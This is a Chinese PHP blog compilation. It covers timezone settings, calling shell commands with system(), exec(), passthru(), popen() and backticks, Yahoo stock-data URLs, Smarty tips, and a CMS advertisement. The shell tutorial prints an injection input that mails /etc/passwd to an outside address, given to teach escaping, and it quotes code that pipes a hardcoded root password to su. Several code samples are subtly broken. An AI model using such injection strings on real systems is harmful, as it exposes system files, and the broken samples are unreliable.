跟着ArthurXF学习PHP——解决时区问题
前面的冒号去掉,再修改成
date.timezone = PRC
切记PRC不要加引号,否则将无效。
date_default_timezone_set(PRC);
那如果要设定为其他的时区怎么办呢?
可以到这里去找时区代码:
http://www.php.net/manual/en/timezones.php
跟着ArthurXF来学习调用外部系统命令system() exec() passthru()
由于PHP基本是用于WEB程序开发的,所以调用外部系统命令安全性成了人们考虑的一个重要方面。于是PHP的设计者们给PHP加了一个门:安全模式。如果运行在安全模式下,那么PHP脚本中将受到如下四个方面的限制:
执行外部命令
在打开文件时有些限制
连接MySQL数据库
基于HTTP的认证
在安全模式下,只有在特定目录中的外部程序才可以被执行,对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用safe_mode_exec_dir指令,或在编译PHP是加上--with-exec-dir选项来指定,默认是/usr/local/php/bin。
如果你调用一个应该可以输出结果的外部命令(意思是PHP脚本没有错误),得到的却是一片空白,那么很可能你的网管已经把PHP运行在安全模式下了。
如何做?
在PHP中调用外部命令,可以用如下三种方法来实现:
1) 用PHP提供的专门函数
PHP提供共了3个专门的执行外部命令的函数:system(),exec(),passthru()。
system()
原型:string system (string command [, int return_var])
system()函数很其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。
例子:
system("/usr/local/bin/webalizer/webalizer");
?>
exec()
原型:string exec (string command [, string array [, int return_var]])
exec()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array可以得到完整的结果,方法是把结果逐行追加到array的结尾处。所以如果array不是空的,在调用之前最好用unset()最它清掉。只有指定了第二个参数时,才可以用第三个参数,用来取得命令执行的状态码。
例子:
exec("/bin/ls -l");
exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);
?>
passthru()
原型:void passthru (string command [, int return_var])
passthru()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus(Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。
例子:
header("Content-type: image/gif");
passthru("./ppmtogif hunte.ppm");
?>
2) 用popen()函数打开进程
上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加Linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入root的密码。这种情况下,用上面提到的方法显然是不行的。
popen()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在PHP3中,对这种句柄只能做单一的操作模式,要么写,要么读;从PHP4开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用pclose()函数来关闭它。
例子1:
$fp=popen("/bin/ls -l", "r");
?>
例子2(本例来自PHP中国联盟网站http://www.phpx.com/show.php?d=col&i=51):
/* PHP中如何增加一个系统用户
下面是一段例程,增加一个名字为james的用户,
root密码是 verygood。仅供参考
*/
$sucommand = "su --login root --command";
$useradd = "useradd ";
$rootpasswd = "verygood";
$user = "james";
$user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");
@fputs($fp,$rootpasswd);
@pclose($fp);
?>
3) 用反撇号(`,也就是键盘上ESC键下面的那个,和~在同一个上面)
这个方法以前没有归入PHP的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如:
$res='/bin/ls -l';
echo '
'.$res.'
';
?>
这个脚本的输出就象:
hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考虑些什么?
要考虑两个问题:安全性和超时。
先看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail程序来发送这个文件。程序就象这样:
system("mail $to < products.txt");
echo "我们的产品目录已经发送到你的信箱:$to";
?>
用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址:
'--bla ; mail someone@domain.com < /etc/passwd ;'
那么这条命令最终变成:
'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt'
我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。
幸好,PHP为我们提供了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向(>)和从文件读入(<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串就可以安全地作为命令的参数。
再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是把命令的输出重定向到另外一个文件或流中,如:
system("/usr/local/bin/order_proc > /tmp/null &");
?>
跟ArthurXF学从雅虎抓取股票数据的方法
本文由ArthurXF倾情奉献,转载请保留作者说明.另本人受聘上海非凡进修学院授IT技术课,招生简章在此:http://www.bizeway.net/read.php/285.htm,有兴趣学习的,可以跟我联系或者电话咨询.QQ:29011218,TEL:021-51097877.
最近股市甚火,受聘开发一股票网站,股票的数据从哪里来成了一个大问题,股票软件一般都是加密处理的,还有一些web services也是要帐号的,免费的方法只有一种了,抓别人网站的数据。好在经我研究,发现yahoo提供国内和国外股市每天的交易数据资料,这可谓一大幸事啊。
http://table.finance.yahoo.com/table.csv?s=ibm&d=6&e=22&f=2006&g=d&a=11&b=16&c=1991&ignore=.csv
上面的链接可以抓取IBM股票从1991年11月16日起到2006年6月22的数据。把ibm改成sohu,就可以抓到sohu的股票数据了。
http://table.finance.yahoo.com/table.csv?s=sohu&d=6&e=22&f=2008&g=d&a=11&b=16&c=2008&ignore=.csv
上面链接可以抓搜狐股票的数据。
那么中国股市的数据有没有呢?答案是肯定的,不过要按照下面的参数做些调整,下面提供全球证券交易所的资料。
上证股票是股票代码后面加上.ss,深证股票是股票代码后面加上.sz
例如:000001 = 000001.sz
深市数据链接:http://table.finance.yahoo.com/table.csv?s=000001.sz
上市数据链接:http://table.finance.yahoo.com/table.csv?s=600000.ss
上证综指代码:000001.ss,深证成指代码:399001.SZ,沪深300代码:000300.ss
下面就是世界股票交易所的网址和缩写,要查找哪个股票交易所的数据,就按照上面的格式以此类推。
上海交易所=cn.finance.yahoo.com,.SS,Chinese,sl1d1t1c1ohgv
深圳交易所=cn.finance.yahoo.com,.SZ,Chinese,sl1d1t1c1ohgv
美国交易所=finance.yahoo.com,,United States,sl1d1t1c1ohgv
加拿大=ca.finance.yahoo.com,.TO,Toronto,sl1d1t1c1ohgv
新西兰=au.finance.yahoo.com,.NZ,sl1d1t1c1ohgv
新加坡=sg.finance.yahoo.com,.SI,Singapore,sl1d1t1c1ohgv
香港=hk.finance.yahoo.com,.HK,Hong Kong,sl1d1t1c1ohgv
台湾=tw.finance.yahoo.com,.TW,Taiwan,sl1d1t1c1ohgv
印度=in.finance.yahoo.com,.BO,Bombay,sl1d1t1c1ohgv
伦敦=uk.finance.yahoo.com,.L,London,sl1d1t1c1ohgv
澳洲=au.finance.yahoo.com,.AX,Sydney,sl1d1t1c1ohgv
巴西=br.finance.yahoo.com,.SA,Sao Paulo,sl1d1t1c1ohgv
瑞典=se.finance.yahoo.com,.ST,Stockholm,sl1d1t1c1ohgv
以上方法只能提供历史数据,实时数据不能抓取,此方法由ArthurXF提供,转载请注明出处。谢谢!
ArthurXF经验传授smarty变量连接解决方案
此文章由ArthurXF(肖飞)倾情奉献!
我们在使用smarty的时候,经常会碰到变量组合成新变量的时候,例如:$aaa$b,$b是可变值,我们需要得到$aaa1,$aaa2,$aaa3等变量.但是在smarty中,这样的变量连接写法是不允许的.
针对这样的问题,我给出下面几种情况的解决方案.
注:<?{和}?>是我定义的smarty定界符,等同于{和},希望大家理解.
<?php
$arrMType = array();
$arrMType[1] = '高交会展';
$arrMType[2] = '学术会议';
$arrData[id] = 1;
?>
在smarty中.
$arrMType[$arrData.id]是错误的.
解决方案:
<?{foreach from=$arrType key=key item=value}?>
<?{if $key == $arrData.type_id}?><?{$value}?><?{/if}?>
<?{/foreach}?>
2.针对文件引用的变量连接问题:
<?PHP
$page="index";
?>
在smarty中,下面的写法都是错误的.
<?{include file=$page.html}?> //这样不能执行成功
<?{include file=$page|cat:".html"}?> //还是不行
解决方案:
<?{include file="`$page`.html"}?>
3.针对函数传递的变量连接问题:
<?PHP
$arrGWeb['module_id'] = 'news';
?>
要在smarty中实现:
<?{url url = "/news/list?type_id=1"}?>
错误的写法:
<?{url url = "/$arrGWeb.module_id/list?type_id=1"}?>
正确的写法:
<?{url url = "/`$arrGWeb.module_id`/list?type_id=1"}?>
注意:"`"这个符号,是数字1前面的那个符号,不是单引号.
ArthurXF商务智能网站开发框架-php进阶班主要学习内容
网务通商务智能网站系统是由上海网务网络信息有限公司打造的一套现今为止国内最好的网站管理系统,本系统采用php内核制作。系统最大的特点是:后台管理功能强大,网站运行速度快,支持静态输出,配有多项商务智能功能,网站安全性极高,对搜索引擎的支持性好,风格模板可自由导入,并且系统可定制各类精美的风格模板!
前台试用: http://demo.biweb.cn
后台试用: http://demo.biweb.cn/admin/
( 管理员:admin 密码:admin 可进入后台)
版本信息:1.8
运行要求:
·linux/freebsd/solaris+apache+mysql 4+php5+zend optimizer2.5.5以上版本支持
·或windows+iis 5/apache+mysql 4+php5+zend optimizer2.5.5以上版本支持
·如果要使用上传功能要求上传目录有写权限
运行环境特点:
- 采用了freebsd操作系统+apache(web服务)+php(编程语言)+mysql(数据库)运行架构,可以在支持更多的访问和更高速的相应速度;
- 同时兼容windows操作系统+iis(web服务)+php(编程语言)+mysql(数据库)运行架构;
- 网站系统无需修改任何代码,就可以在linux/freebsd/solaris/windows这些操作系统下正常运行,兼容性极高。
程序设计特点:
- 采用了MVC架构设计网站,全部功能集成在类库中,方便继承和扩展;
- 采用了php5的pdo做为数据库接口,修改一个参数就可以实现数据库类型转换,可以很方便的从mysql向orcal等大型数据库移植;
- 网站系统所有栏目模块化,直接复制到网务通商务智能系统架构下就可以使用,无需修改,功能模块可重用性非常高;
- 每个功能模块都可以连接不同类型、不同服务器上的不同数据库,充分满足大型网站负载均衡的需求;
- 采用了数据库预处理、查询数据缓存、smarty缓存页面、生成静态页面、客户端缓存等多种缓存机制,减轻服务器压力,提高服务器的承载能力,可承受更多用户的频繁访问;
- 上传得文件被集中管理,方便拓展成为大型的磁盘阵列文件系统;
- 数据库结构优化,对于表现层的数据拓展,只需要修改配置文件即可,无需修改程序代码,而且支持全文检索;
- 网站核心都是有多年丰富经验的网站工程师开发设计,代码紧凑,条理清晰,安全性极高;
网页设计特点:
- 前台所有网页源码全部采用XHTML,全部符合W3C组织制定的国际网页设计标准;
- 外观样式采用CSS控制,灵活方便调整,可是在任何浏览器下正常观看;
- 网页设计还符合W3C-WAI 无障碍网页开发标准WCAG,增加了快捷键等内容,方便残障人士正常访问网站;
- 网页设计符合多项国际设计标准,可以被多项未来多项设备读取,例如:手机、电视机、冰箱等;
- 网页设计非常注重用户体验,合理的UI设计,使得用户操作更加方便快捷;
- 网页设计使用最少的代码,来体现最合理的网页内容,拒绝垃圾代码,是网务通设计师们秉承的设计原则;
搜索引擎优化设计特点:
- 网站使用了伪静态和纯静态页面优化链接,伪静态页面主要用在首页、索引页、列表页,纯静态页面主要用在信息详细页面;
- 全站采用有含义的英文单词作为页面命名,可获得更高的排名;
- 网站链接设计合理,可以确表搜索引擎收录网站所有的内容;
- 网站链接设计优化,可以确保搜索引擎收录多出网站实际内容几倍的网页内容,增加了被用户搜索到的机率;
- 网站系统所有栏目标题、关键字和描述用户均可自行修改,这样避免了设计人员不懂行、找不准关键字的弊端;
- 网站页面设计符合国际标准,更受搜索引擎欢迎,可获得更好的排名;
- 生成了google sitemaps网站全站索引,可以指导google按照设定的时间来更新网站内容;
- 在启用商务智能推广功能后,多名使用了网务通网站系统的用户将获得自动链接推广功能,用户再也不用为高pr的网站不愿意链接您的网站而担心了;
- 所有的商业用户将获得网务公司资深设计师的优化技术指导;
网站管理后台设计特点:
- 网务通网站系统为了方便用户使用网站系统,设计了多项管理功能,使得网站系统更加灵活,操作方便;
- 系统设置:可以设置网站联系方式、网站缓存时间、选择模板样式等;
- 网站管理:可以方便管理网站各个功能模块,方便对网站信息的操作;
- 说明栏目:可以方便管理网站所有的说明性栏目,如:公司简介,联系方式等;
- 数据管理:可以自行备份、还原和优化网站数据库,避免托管主机物理故障造成的数据丢失损失;
- 网站优化:可以调整网站栏目、链接、静态页面,并可以生成google sitemaps网站全站索引;
- 商务智能:可以获得很多便利的商务智能功能;
- 在线帮助:可以帮助用户将获得网务通的使用方法及获得网务公司专业人士的技术指导;
- 网站系统集合了价值1800元正版eWebEditor在线编辑器,可以很方便的实现远程图片上传等功能;